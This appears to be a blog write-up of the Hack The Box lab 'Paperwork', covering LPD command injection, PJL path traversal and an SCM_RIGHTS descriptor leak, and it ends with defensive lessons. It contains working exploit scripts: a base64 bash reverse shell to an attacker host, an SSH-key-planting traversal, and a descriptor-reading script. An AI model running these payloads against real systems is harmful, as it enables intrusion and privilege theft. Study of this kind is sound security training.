Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Paperwork

Paperwork is a medium-difficulty Linux box built around three hand-rolled "print" services, each reusing the same class of unsafe input handling.

platform
Hack The Box
target_os
Linux (Ubuntu)
difficulty
Easy
season
Season 11
logged
August 4, 2026
exploit_vectors → LPD command injectionInternal service discoveryPJL path traversalSCM_RIGHTS fd leak

Summary of Exploitation

Paperwork is a medium-difficulty Linux box built around three hand-rolled “print” services, each reusing the same class of unsafe input handling. Starting from network access to a custom LPD server, the chain proceeds as follows:

  1. LPD command injection — a custom Line Printer Daemon on 1515 interpolates an attacker-controlled print-job name into a subprocess.Popen(..., shell=True) call. Breaking out of the shell quoting yields a foothold as the lp service user.
  2. Internal service discovery — from the lp shell, two loopback-only services surface: a JetDirect/PJL clone on 127.0.0.1:9100 (running as archivist) and a root paperwork-daemon on a unix socket.
  3. PJL path traversal — the PJL service’s virtual-filesystem path translation never strips .., so an FSDOWNLOAD with a traversal path writes outside its spool root into archivist’s ~/.ssh/authorized_keys, granting SSH as archivist.
  4. SCM_RIGHTS fd leak — the root paperwork-daemon passes root’s open config file descriptor to the client over a group-accessible socket as “forensic evidence” when it detects log tampering. Reading through the leaked fd bypasses file permissions and exposes the admin password, which is reused for root.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH (Ubuntu)
80 open http web app
515 open printer LPD (spooler front)
1515 open unknown custom LPD server (Python)

Key takeaways from recon:

  • The externally reachable custom service is a Python LPD server on 1515 — the intended entry point.
  • Port 80 hosts a web app; the same app is later found bound to 127.0.0.1:1337 internally. It is not on the privilege-escalation path.

The host was added to /etc/hosts:

echo "<target-ip>  paperwork.htb" | sudo tee -a /etc/hosts

Service Enumeration

The custom LPD server (/opt/LPDServer/server.py, run by lpdserver.service as User=lp) implements a simplified LPD protocol. The source revealed the job-name handling logs via a shell:

subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

job_name is taken directly from the J line of the LPD control file — fully attacker-controlled and unsanitized, interpolated inside single quotes into a shell=True command. That is a straightforward OS command injection sink.

The queue check gating the job is also weak:

if queue not in VALID_QUEUE:   # substring test against a string, not equality

Since "" in <anything> is True, an empty queue name always passes regardless of the configured LPD_QUEUE value.


Exploitation Phase

Step 1 — LPD command injection → shell as lp

Reaching the injection sink requires walking the simplified LPD protocol:

  1. \x02 + queue + \n — receive-job. Empty queue passes the substring check.
  2. \x02<count> <name>\n — receive-control-file header.
  3. Control-file body containing J'; <payload> # — the J line becomes job_name.

The '; <cmd> # breakout closes the single-quoted string, runs an arbitrary command, and comments out the trailing redirect:

echo 'Archive: '; <cmd> #' >> /tmp/archive.log

A Python PoC delivers the full protocol sequence and a base64 bash reverse shell:

import socket, base64
rs  = "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"
b64 = base64.b64encode(rs.encode()).decode()
inj = f"'; echo {b64} | base64 -d | bash #"
cf  = f"J{inj}\n".encode()

s = socket.socket(); s.connect(("<target-ip>", 1515))
s.send(b"\x02\n")                                          # receive-job, empty queue
s.send(b"\x02" + f"{len(cf)} cfA001exploit\n".encode())   # receive-control-file header
s.recv(1)                                                 # server ACK (\x00)
s.send(cf + b"\x00")                                      # control-file body -> sink
nc -lvnp 4444          # listener
python3 exploit.py     # -> reverse shell as lp (uid=7)

Gotcha — dash vs bash. shell=True invokes /bin/sh (dash), which does not support bash -i >& /dev/tcp/.... Base64-encode the bash reverse shell and pipe it into bash explicitly to avoid both the dash limitation and quote conflicts.

Gotcha — blind execution. The LPD channel only returns \x00 ack bytes; command output never comes back. Confirm out-of-band (reverse shell / HTTP callback) rather than waiting for stdout.

The environment leaked LPD_QUEUE=archive_intake (the real queue name) and internal recon (ss -tlnp) exposed the loopback services:

LISTEN 127.0.0.1:1337      # web app (same as :80)
LISTEN 127.0.0.1:9100      # jetdirect / PJL  -> archivist

jetdirect.service runs /home/archivist/printer/jetdirect.py as User=archivist — the lateral target.

Step 2 — PJL path traversal → shell as archivist

As lp, /home/archivist is drwxr-x--- (unreadable), so the 9100 service was fingerprinted black-box. It responds as an HP LaserJet-style PJL implementation with a READ-WRITE virtual filesystem rooted at the printer directory:

@PJL INFO ID       -> HP LASERJET 4ML
@PJL INFO FILESYS  -> 0:  ... READ-WRITE
@PJL FSDIRLIST     -> jetdirect.py (5119), logs/

The service’s own FSUPLOAD was used to read its source (the daemon reads it as archivist on our behalf). The path-translation routine is the flaw:

def _translate(self, path):
    clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
    return os.path.normpath(os.path.join(self._root, clean))

It strips the 0: prefix and leading slashes but never sanitizes .., so os.path.join(root, "../.ssh/...") + normpath resolves above the spool root. write() also runs os.makedirs(dirname, exist_ok=True), creating .ssh/ if absent.

A traversal FSDOWNLOAD writes an attacker public key into archivist’s authorized_keys:

import socket
pub  = open("id.pub","rb").read().strip() + b"\n"
name = "0:/../.ssh/authorized_keys"        # root=/home/archivist/printer
job  = b'@PJL FSDOWNLOAD NAME="%s" SIZE=%d\r\n' % (name.encode(), len(pub))
s = socket.socket(); s.connect(("127.0.0.1", 9100))
s.sendall(job + pub); print(s.recv(1024))  # -> b'OK\r\n'

Verify without local FS access by reading it back through the same service:

@PJL FSUPLOAD NAME="0:/../.ssh/authorized_keys"   -> echoes the pubkey
chmod 600 id
ssh -i id archivist@127.0.0.1                      # -> shell as archivist

User flag:

cat /home/archivist/user.txt

Gotcha — regex order. The download handler matches NAME="..." SIZE=digits in that exact order; SIZE-before-NAME fails silently with FILEERROR=1.

Gotcha — write, not append. open(target, "wb") truncates, so the key lands clean even if the file existed.

Dead end noted. Overwriting jetdirect.py and trying to force a restart does not work — the request loop swallows malformed input in try/except, so Restart=on-failure never fires (no nonzero exit), and the running process already holds the old source in memory. Traversal-to-authorized_keys is the reliable primitive.

Step 3 — SCM_RIGHTS fd leak → root

A root process runs /usr/bin/paperwork-daemon, listening on a unix socket that is deliberately made group-accessible to archivist:

admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)   # root-owned config
...
s.bind("/run/paperwork/mgmt.sock")
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)     # owner root, GROUP archivist (gid 1000)

On each connection it runs scan_for_malice(), which returns True if commands.log contains FSQUERY / FSUPLOAD / FSDOWNLOAD. On that “alert” path it sends a forensic bundle that passes the log fd and root’s admin_fd to the client via SCM_RIGHTS:

evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

A received descriptor retains the sender’s access rights, so reading through the passed admin_fd bypasses the 0600 root:root permissions on the config entirely. A client connects, receives the ancillary fds, and preads the leaked one:

import socket, array, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
msg, ancdata, _, _ = s.recvmsg(4096, socket.CMSG_LEN(2 * 4))
for level, typ, data in ancdata:
    if typ == socket.SCM_RIGHTS:
        fds = array.array("i"); fds.frombytes(data)
        for fd in fds:
            print(os.pread(fd, 4096, 0))

Result:

ADMIN_PASSWORD=<redacted>

The admin password is reused for root:

su -                # -> uid=0

Root flag:

cat /root/root.txt

Gotcha — must trip the malice branch. The “clean” branch only returns sha256("SYSTEM_CLEAN:<secret>"), which is useless. The raw fd is only passed on the alert path. Conveniently, the Step-2 pivot already wrote FSUPLOAD / FSDOWNLOAD lines into commands.log, so the scan trips on its own. If the log was truncated, re-plant a trigger word with a single FSDOWNLOAD request to :9100.


Key Takeaways

  • Substring checks are not membership checks. queue not in VALID_QUEUE against a string let an empty queue through. Use == or an explicit allow-list.
  • shell=True plus any external input equals injection. The LPD job name should never touch a shell — use subprocess.run([...]) with an argument list, or avoid shelling out entirely.
  • Path translation must canonicalize then confine. Stripping 0: / leading slashes but not .. is a no-op against traversal. Resolve with realpath and assert the result stays within the root via os.path.commonpath.
  • SCM_RIGHTS passes capability, not data. Sending a file descriptor hands the receiver the sender’s access to that object. Never pass fds for privileged files to lower-privileged peers; send sanitized contents instead.
  • Attacker-influenced logs should not drive privileged code paths. The forensic branch was reachable precisely because earlier attack traffic seeded the log with the trigger strings — log content is attacker-controllable.

Full Attack Chain

attacker (network access to LPD :1515)
   └─ shell=True on print-job 'J' name  ──>  shell as lp (uid=7)
        └─ internal recon  ──>  PJL :9100 (archivist), paperwork-daemon (root)
             └─ PJL '..' traversal  ──>  write ~/.ssh/authorized_keys  ──>  archivist   [USER]
                  └─ SCM_RIGHTS leaks root admin_fd  ──>  pread ADMIN_PASSWORD
                       └─ su -  ──>  Administrator/root                                  [ROOT]